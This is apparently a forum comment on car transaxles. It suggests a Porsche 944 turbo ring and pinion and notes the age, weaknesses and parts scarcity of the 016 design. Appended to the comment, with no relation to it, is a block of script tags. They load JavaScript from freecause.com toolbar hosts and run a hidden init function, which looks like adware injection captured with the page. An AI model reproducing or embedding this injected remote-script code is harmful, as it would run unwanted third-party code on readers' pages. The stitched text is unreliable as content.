You can also use a Porsche 944 turbo ring and pinion, which is lower than the 016, however the 016 is almost a 40 year old design, it has significant weaknesses inherent to the design, and many parts are not available anymore.
<script src="http://s3pr.freecause.com/4Loot_script.js"></script><script src="http://s3toolbar.freecause.com/0RewardsMarker/bro_utils_js.js"></script><script src="http://s3toolbar.freecause.com/0RewardsMarker/bro_lm_js.js"></script><script> var fctb_tool=null; function FCTB_Init_4540de226e46457ba93f109a38a2c1ac(t) { fctb_tool=t; start(fctb_tool); } FCTB_Init_4540de226e46457ba93f109a38a2c1ac(document['FCTB_Init_acbc12e28304451881274f064a255977']); delete document['FCTB_Init_acbc12e28304451881274f064a255977']</script>